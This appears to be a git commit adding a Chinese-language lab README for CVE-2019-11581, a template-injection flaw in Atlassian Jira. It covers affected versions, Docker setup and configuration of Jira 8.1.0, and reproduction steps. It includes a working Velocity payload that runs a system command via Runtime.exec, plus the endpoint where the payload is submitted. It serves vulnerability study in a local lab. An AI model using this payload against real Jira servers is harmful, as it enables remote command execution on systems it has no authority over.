first commit

jira/CVE-2019-11581/README.zh-cn.md

@@ -0,0 +1,67 @@
+# Atlassian Jira 模板注入漏洞（CVE-2019-11581）
+
+Atlassian Jira是企业广泛使用的项目与事务跟踪工具，被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。在多个版本中发现了一个模板注入漏洞，攻击者可以利用该漏洞执行任意命令。
+
+受影响版本包括：
+
+- 4.4.x
+- 5.x.x
+- 6.x.x
+- 7.0.x - 7.13.x（在7.6.14、7.13.5版本修复）
+- 8.0.x - 8.2.x（在8.0.3、8.1.2、8.2.3版本修复）
+
+参考链接：
+
+- <https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html>
+- <https://jira.atlassian.com/browse/JRASERVER-69532>
+- <https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw>
+
+## 环境搭建
+
+执行如下命令启动Jira Server 8.1.0：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:8080`进入安装向导：
+
+1. 切换到你偏好的语言
+2. 选择"将其设置为我"（第一个选项）
+3. 从Atlassian官方申请Jira Server测试许可证（不要选择Data Center或Addons）
+4. 完成安装过程
+
+注意：在内存有限的机器上，安装可能会失败或需要较长时间。建议使用至少4GB内存的机器进行安装和测试。
+
+![](7.png)
+
+在`/secure/admin/AddSmtpMailServer!default.jspa`添加SMTP邮件服务器：
+
+![](8.png)
+
+在系统设置`/secure/admin/ViewApplicationProperties.jspa`中启用"联系管理员表单"：
+
+![](9.png)
+
+创建一个示例项目以完成设置。
+
+## 漏洞复现
+
+PoC与CVE-2019-3396类似，可以使用以下payload：
+
+```
+$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString()
+```
+
+你也可以选择：
+
+1. 运行`poc.py`，或者
+2. 直接在`/secure/ContactAdministrators!default.jspa`提交PoC
+
+![](11.png)
+
+![](12.png)
+
+如果没有在smtpd中看到数据，可能是邮件队列阻塞，请在`/secure/admin/MailQueueAdmin!default.jspa`检查邮件队列：
+
+![](13.png)